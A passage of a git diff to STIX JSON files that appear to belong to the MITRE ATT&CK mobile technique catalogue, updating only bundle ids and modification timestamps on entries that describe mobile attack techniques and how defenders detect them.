             "description": "An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in  (Citation: SRLabs-Fingerprint).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5.json b/mobile-attack/attack-pattern/attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5.json
index dbbf6f3faf..e08e3cbaaf 100644
--- a/mobile-attack/attack-pattern/attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5.json
+++ b/mobile-attack/attack-pattern/attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1190d8c6-795c-41ac-82ef-9ac496351b1c",
+    "id": "bundle--ffd0e792-4ba6-458f-acb8-bc5ad81352f5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:31.294Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify OS Kernel or Boot Partition",
             "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.\n\nDetection: The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nSamsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered \"if a non-Knox kernel has been loaded on the device\" (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nMany enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce.json b/mobile-attack/attack-pattern/attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce.json
index 3c20a03ff0..fb72aae80c 100644
--- a/mobile-attack/attack-pattern/attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce.json
+++ b/mobile-attack/attack-pattern/attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ea7f2a92-e44e-4fc8-982c-72c5c3b1c789",
+    "id": "bundle--55d86731-cc83-4412-bb32-94ea22b7a4bb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:11.535Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Contact List",
             "description": "An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--51aedbd6-2837-4d15-aeb0-cb09f2bf22ac.json b/mobile-attack/attack-pattern/attack-pattern--51aedbd6-2837-4d15-aeb0-cb09f2bf22ac.json
index b415f0f4f1..4313a25436 100644
--- a/mobile-attack/attack-pattern/attack-pattern--51aedbd6-2837-4d15-aeb0-cb09f2bf22ac.json
+++ b/mobile-attack/attack-pattern/attack-pattern--51aedbd6-2837-4d15-aeb0-cb09f2bf22ac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5068270c-db9e-46f5-a750-b470484b5149",
+    "id": "bundle--a6f0a012-e92a-44ef-b782-90c1c57e21d2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--51aedbd6-2837-4d15-aeb0-cb09f2bf22ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:16.288Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Abuse of iOS Enterprise App Signing Key",
             "description": "An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in  (Citation: Xiao-iOS).\n\nDetection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.\n\nPlatforms: iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5.json b/mobile-attack/attack-pattern/attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5.json
index 8355466e5f..dc09984fd0 100644
--- a/mobile-attack/attack-pattern/attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5.json
+++ b/mobile-attack/attack-pattern/attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--492267da-a76b-47cb-95ee-6dab1b094f04",
+    "id": "bundle--fe0fbb59-7887-4d86-94d7-862c4079c42b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:09.864Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit SS7 to Track Device Location",
             "description": "An adversary could exploit signaling system vulnerabilities to track the location of mobile devices, for example as described in  (Citation: Engel-SS7),  (Citation: Engel-SS7)-2008,  (Citation: 3GPP-Security) and  (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC)  (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067.json b/mobile-attack/attack-pattern/attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067.json
index 2fd81bfe7e..dc81b246f9 100644
--- a/mobile-attack/attack-pattern/attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067.json
+++ b/mobile-attack/attack-pattern/attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d5748c8f-df9c-4ceb-b8d0-788922085d39",
+    "id": "bundle--ba51d14c-8915-44f3-8347-d3cf463c562e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:07.827Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remotely Wipe Data Without Authorization",
             "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).\n\nDetection: Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--62adb627-f647-498e-b4cc-41499361bacb.json b/mobile-attack/attack-pattern/attack-pattern--62adb627-f647-498e-b4cc-41499361bacb.json
index 8f88669ed0..cac141d49c 100644
--- a/mobile-attack/attack-pattern/attack-pattern--62adb627-f647-498e-b4cc-41499361bacb.json
+++ b/mobile-attack/attack-pattern/attack-pattern--62adb627-f647-498e-b4cc-41499361bacb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb0b1b46-d01d-4408-8fe1-6810bc003acd",
+    "id": "bundle--fe5375e0-d340-4eee-b36e-d594bde9bab8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--62adb627-f647-498e-b4cc-41499361bacb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:20.727Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Calendar Entries",
             "description": "An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3.json b/mobile-attack/attack-pattern/attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3.json
index c076e3a46d..555f6575a8 100644
--- a/mobile-attack/attack-pattern/attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3.json
+++ b/mobile-attack/attack-pattern/attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cf6b3d33-6b90-4e24-a562-9440a30448ad",
+    "id": "bundle--8ad5cb49-6071-4a4e-b3b4-3c109fb8c621",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:21.354Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rogue Wi-Fi Access Points",
             "description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication as described in NIST SP 800-153 (Citation: NIST-SP800153). \n\nFor example, Kaspersky describes a threat actor they call DarkHotel that targeted hotel Wi-Fi networks, using them to compromise computers belonging to business executives (Citation: Kaspersky-DarkHotel).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d.json b/mobile-attack/attack-pattern/attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d.json
index 03cb4cf15a..1005e8d243 100644
--- a/mobile-attack/attack-pattern/attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d.json
+++ b/mobile-attack/attack-pattern/attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b89616c5-b0f8-4d10-9794-66c0519ac2e0",
+    "id": "bundle--01a4ae4d-7984-4e0a-91c6-a1e12a94baf3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:23.233Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit via Charging Station or PC",
             "description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection.\n\nKrebs described this technique in  (Citation: Krebs-JuiceJacking). Lau et al. (Citation: Lau-Mactans) demonstrated the ability to inject malicious applications into an iOS device via USB. Hay (Citation: IBM-NexusUSB) demonstrated the ability to exploit a Nexus 6 or 6P device over USB and then gain the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760.json b/mobile-attack/attack-pattern/attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760.json
index 99aff437de..03a9b1b3ff 100644
--- a/mobile-attack/attack-pattern/attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760.json
+++ b/mobile-attack/attack-pattern/attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--291fbade-c6d1-4d23-b74b-aeeebe0d875b",
+    "id": "bundle--13d518d9-4f18-403c-80ff-bef865948414",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:12.913Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Microphone or Camera Recordings",
             "description": "An adversary could use a malicious or exploited application to surreptitiously record activities using the device microphone and/or camera through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone or the camera through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673.json b/mobile-attack/attack-pattern/attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673.json
index 4967704e04..526f0f6af3 100644
--- a/mobile-attack/attack-pattern/attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673.json
+++ b/mobile-attack/attack-pattern/attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--860a9f9e-03d8-42ec-977c-955884e12fd7",
+    "id": "bundle--79203aae-8000-4c09-a99e-6fa029f22613",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:33.158Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Application Layer Protocol",
             "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. As described by Kaspersky (Citation: Kaspersky-MobileMalware), Google responds to reports of abuse by blocking access to GCM.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--6b846ad0-cc20-4db6-aa34-91561397c5e2.json b/mobile-attack/attack-pattern/attack-pattern--6b846ad0-cc20-4db6-aa34-91561397c5e2.json
index 47a6743d1a..4c73660e5f 100644
--- a/mobile-attack/attack-pattern/attack-pattern--6b846ad0-cc20-4db6-aa34-91561397c5e2.json
+++ b/mobile-attack/attack-pattern/attack-pattern--6b846ad0-cc20-4db6-aa34-91561397c5e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7e801723-3b26-4919-a074-521d862bd341",
+    "id": "bundle--ce2b6eb7-7e53-42f2-a3ae-d3556c14396e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--6b846ad0-cc20-4db6-aa34-91561397c5e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:11.861Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "App Delivered via Web Download",
             "description": "The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6.json b/mobile-attack/attack-pattern/attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6.json
index 752f936db9..930ab03bf3 100644
--- a/mobile-attack/attack-pattern/attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6.json
+++ b/mobile-attack/attack-pattern/attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--15eee1a8-f09e-4f67-adb6-c7e1114431ad",
+    "id": "bundle--866fff0f-17bf-43a3-bfe8-4edc10e19ac2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:14.460Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Download New Code at Runtime",
             "description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review (Citation: Poeplau-ExecuteThis). \n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability (Citation: Bromium-AndroidRCE).\n\nOn iOS, techniques for executing dynamic code downloaded after application installation include JSPatch (Citation: FireEye-JSPatch).  (Citation: Wang) et al. describe a related method of constructing malicious logic at app runtime on iOS (Citation: Wang).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a.json b/mobile-attack/attack-pattern/attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a.json
index 52c500767d..5f4aef241c 100644
--- a/mobile-attack/attack-pattern/attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a.json
+++ b/mobile-attack/attack-pattern/attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3cd91e6f-feb1-4ec7-b700-41702207dd5d",
+    "id": "bundle--29d9a31e-2161-446d-93e5-46825d7c8261",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:21.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remotely Track Device Without Authorization",
             "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.\n\nDetection: Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160.json b/mobile-attack/attack-pattern/attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160.json
index 9b457c1cd4..9489c55a38 100644
--- a/mobile-attack/attack-pattern/attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160.json
+++ b/mobile-attack/attack-pattern/attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--014f0645-8a6d-4c15-9114-d4af8eedd6f8",
+    "id": "bundle--be272038-54bc-4c4e-806b-cf2ada4da58e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:15.402Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Sensitive Data or Credentials in Files",
             "description": "An adversary could attempt to read files that contain sensitive data or credentials (e.g., private keys, passwords, access tokens). This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69.json b/mobile-attack/attack-pattern/attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69.json
index df4ef2e6af..8bf3ebda8c 100644
--- a/mobile-attack/attack-pattern/attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69.json
+++ b/mobile-attack/attack-pattern/attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--84df68fc-0fa1-49a7-a308-f862f707ed3b",
+    "id": "bundle--7fa54bc5-0145-4301-bf6c-8954e5206999",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--76c12fc8-a4eb-45d6-a3b7-e371a7248f69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:07.460Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Manipulate App Store Rankings or Ratings",
             "description": "An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58.json b/mobile-attack/attack-pattern/attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58.json
index 8b4a2b4196..a4ff6679e2 100644
--- a/mobile-attack/attack-pattern/attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58.json
+++ b/mobile-attack/attack-pattern/attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d668cbab-a9bd-4b6d-a6dc-ea898fcde6d3",
+    "id": "bundle--dd1cf188-4a22-432e-a651-efe2efe5a4af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:32.008Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Android Intent Hijacking",
             "description": "A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes as described in  (Citation: IETF-PKCE).\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44.json b/mobile-attack/attack-pattern/attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44.json
index 521c066dae..2671f8df48 100644
--- a/mobile-attack/attack-pattern/attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44.json
+++ b/mobile-attack/attack-pattern/attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fe4b2e8e-2a53-4c65-9d2a-f080ca9afee0",
+    "id": "bundle--2ed6a166-da88-4d9c-a54c-33496d5aa314",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:11.116Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Call Log",
             "description": "On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.\n\nOn iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.\n\nDetection: On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483.json b/mobile-attack/attack-pattern/attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483.json
index 95a3bd2d1f..07ba38f5fc 100644
--- a/mobile-attack/attack-pattern/attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483.json
+++ b/mobile-attack/attack-pattern/attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ea991274-d563-49e0-9801-d03c064cabe0",
+    "id": "bundle--972628ce-09ce-464d-9c08-99bb5bd405c5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--82f04b1e-5371-4a6f-be06-411f0f43b483",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:29.774Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Abuse Device Administrator Access to Prevent Removal",
             "description": "A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.\n\nDetection: The device user can view a list of apps with Device Administrator privilege in the device settings.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--831e3269-da49-48ac-94dc-948008e8fd16.json b/mobile-attack/attack-pattern/attack-pattern--831e3269-da49-48ac-94dc-948008e8fd16.json
index b602e68d3c..1eec7983f0 100644
--- a/mobile-attack/attack-pattern/attack-pattern--831e3269-da49-48ac-94dc-948008e8fd16.json
+++ b/mobile-attack/attack-pattern/attack-pattern--831e3269-da49-48ac-94dc-948008e8fd16.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a9e12c2-3c46-45ef-9e67-14b9b0961a50",
+    "id": "bundle--ddebdc6c-987a-4905-9f61-a2639eb56c7d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "attack-pattern--831e3269-da49-48ac-94dc-948008e8fd16",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:34.830Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remotely Install Application",
             "description": "An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in  (Citation: Oberheide-RemoteInstall),  (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.\n\nPlatforms: Android",
             "kill_chain_phases": [
diff --git a/mobile-attack/attack-pattern/attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6.json b/mobile-attack/attack-pattern/attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6.json
index e06d98bdda..ae84521c0a 100644
--- a/mobile-attack/attack-pattern/attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6.json
+++ b/mobile-attack/attack-pattern/attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--da1469b9-fda5-487b-8f07-9c691e9bf6b1",
